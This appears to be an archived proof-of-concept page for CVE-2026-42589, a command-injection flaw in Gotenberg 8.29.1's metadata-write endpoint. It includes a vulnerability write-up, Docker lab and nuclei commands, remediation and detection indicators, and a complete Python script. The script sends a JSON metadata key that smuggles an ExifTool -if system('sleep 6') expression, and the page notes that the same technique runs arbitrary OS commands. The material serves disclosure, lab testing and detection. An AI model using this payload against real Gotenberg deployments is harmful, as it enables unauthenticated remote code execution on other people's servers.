PoC Archive PoC Archive
Critical CVE-2026-42589 patched

Gotenberg 8.29.1 Unauthenticated ExifTool Metadata Key Injection RCE (CVE-2026-42589)

by fineman999 · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-42589
Category
web
Affected product
Gotenberg (document/PDF conversion microservice)
Affected versions
8.29.1 (fixed in 8.31.0)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcherfineman999
CVE / AdvisoryCVE-2026-42589
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusPoC
Tagsgotenberg, exiftool, command-injection, cwe-78, unauthenticated, rce, docker-lab, nuclei
RelatedN/A

Affected Target

FieldValue
Software / SystemGotenberg (document/PDF conversion microservice)
Versions Affected8.29.1 (fixed in 8.31.0)
Language / PlatformGo-based HTTP API service, wraps ExifTool (Perl)
Authentication RequiredNo
Network Access RequiredYes (HTTP access to the Gotenberg API, POST /forms/pdfengines/metadata/write)

Summary

CVE-2026-42589 is an unauthenticated remote code execution vulnerability in Gotenberg 8.29.1’s metadata-writing endpoint. Gotenberg forwards user-supplied metadata JSON keys to ExifTool without rejecting control characters; a metadata key containing JSON-escaped newlines is split by ExifTool into additional command-line arguments, allowing an attacker to inject ExifTool’s -if/expression arguments and execute arbitrary Perl/system commands (e.g. via system('sleep 6')). The PoC lab runs both the vulnerable (8.29.1) and patched (8.31.0) Gotenberg Docker images, a raw-multipart Python timing probe, and a non-destructive nuclei detection template.


Vulnerability Details

Root Cause

The POST /forms/pdfengines/metadata/write endpoint accepts a metadata form field containing a JSON object whose keys are passed to the underlying ExifTool invocation as separate metadata-tag arguments. Because newline characters within a JSON string key are not rejected/sanitized before being forwarded to ExifTool, an attacker can embed \n sequences in a key to smuggle extra ExifTool command-line arguments/expressions (e.g. -if\nsystem('sleep 6')||1\n-Comment), which ExifTool then evaluates, resulting in command injection (CWE-78).

Attack Vector

  1. Attacker submits a multipart POST /forms/pdfengines/metadata/write request containing a legitimate PDF file and a metadata field whose JSON key contains embedded newlines, e.g. {"Title\n-if\nsystem('sleep 6')||1\n-Comment":"x"}.
  2. Gotenberg passes the metadata keys through to its ExifTool invocation without stripping control characters.
  3. ExifTool interprets the injected newline-separated tokens as additional CLI arguments, including the -if conditional-expression flag, which evaluates the embedded Perl system() call.
  4. A measurable delay (sleep 6) and a 500 Internal Server Error response confirm command execution; the same technique can be used to run arbitrary OS commands instead of sleep.

Impact

Unauthenticated arbitrary OS command execution as the Gotenberg service/container user, for any deployment exposing the metadata-write API to attacker-reachable input.


Environment / Lab Setup

Target:   gotenberg/gotenberg:8.29.1 (vulnerable) vs. gotenberg/gotenberg:8.31.0 (patched), via Docker Compose
Attacker: Python 3 (stdlib only), curl, optional nuclei

Proof of Concept

PoC Script

See manual_verify.py, CVE-2026-42589.yaml, docker-compose.yml, docker-compose.latest.yml, and sample.pdf in this folder.

1
2
3
4
5
6
7
8
docker compose up -d                         # starts vulnerable Gotenberg 8.29.1
python3 manual_verify.py http://127.0.0.1:3000   # raw multipart timing check

nuclei -duc -validate -t CVE-2026-42589.yaml
nuclei -duc -u http://127.0.0.1:3000 -t CVE-2026-42589.yaml

docker compose -f docker-compose.latest.yml up -d   # gotenberg 8.31.0
python3 manual_verify.py http://127.0.0.1:3000

Against the vulnerable version, manual_verify.py uploads sample.pdf with a metadata key smuggling a system('sleep 6') ExifTool expression and observes a ~6-second-delayed 500 Internal Server Error (command executed); against the patched version it returns quickly with a 400 Bad Request. The nuclei template (CVE-2026-42589.yaml) automates the same non-destructive timing detection.


Detection & Indicators of Compromise

Signs of compromise:

  • Multipart requests to /forms/pdfengines/metadata/write with newline-containing metadata keys
  • ExifTool child processes spawned by the Gotenberg container with unexpected arguments
  • Unexpected outbound connections, file writes, or delays originating from the Gotenberg service host

Remediation

ActionDetail
Primary fixUpgrade Gotenberg to version 8.31.0 or later
Interim mitigationReject metadata keys containing control characters (newlines) before forwarding to ExifTool; restrict/authenticate access to the Gotenberg API; run Gotenberg in a sandboxed/least-privilege container

References


Notes

Mirrored from https://github.com/fineman999/POC_CVE-2026-42589 on 2026-07-05.

manual_verify.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env python3
import argparse
import http.client
import time
from urllib.parse import urlparse


PDF = b"""%PDF-1.1
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] >>
endobj
xref
0 4
0000000000 65535 f
0000000009 00000 n
0000000058 00000 n
0000000115 00000 n
trailer
<< /Root 1 0 R /Size 4 >>
startxref
186
%%EOF"""


def build_body(boundary: str) -> bytes:
    metadata = br"""{"Title\n-if\nsystem('sleep 6')||1\n-Comment":"x"}"""
    parts = [
        b"--" + boundary.encode(),
        b'Content-Disposition: form-data; name="files"; filename="sample.pdf"',
        b"Content-Type: application/pdf",
        b"",
        PDF,
        b"--" + boundary.encode(),
        b'Content-Disposition: form-data; name="metadata"',
        b"",
        metadata,
        b"--" + boundary.encode() + b"--",
        b"",
    ]
    return b"\r\n".join(parts)


def main() -> int:
    parser = argparse.ArgumentParser(description="Raw multipart timing check for CVE-2026-42589 lab")
    parser.add_argument("target", nargs="?", default="http://127.0.0.1:3000")
    args = parser.parse_args()

    parsed = urlparse(args.target)
    if parsed.scheme not in ("http", ""):
        raise SystemExit("Only http targets are supported by this lab script")

    host = parsed.hostname or "127.0.0.1"
    port = parsed.port or 3000
    boundary = "----NucleiBoundaryCVE202642589"
    body = build_body(boundary)

    conn = http.client.HTTPConnection(host, port, timeout=15)
    headers = {
        "Host": f"{host}:{port}",
        "Content-Type": f"multipart/form-data; boundary={boundary}",
        "Content-Length": str(len(body)),
    }

    start = time.monotonic()
    conn.request("POST", "/forms/pdfengines/metadata/write", body=body, headers=headers)
    response = conn.getresponse()
    response_body = response.read()
    elapsed = time.monotonic() - start
    conn.close()

    print(f"HTTP/{response.version / 10:.1f} {response.status} {response.reason}")
    print(f"TOTAL_TIME={elapsed:.3f}s")
    if response_body:
        print(response_body.decode("utf-8", errors="replace"))

    return 0 if response.status == 500 and elapsed >= 6 else 1


if __name__ == "__main__":
    raise SystemExit(main())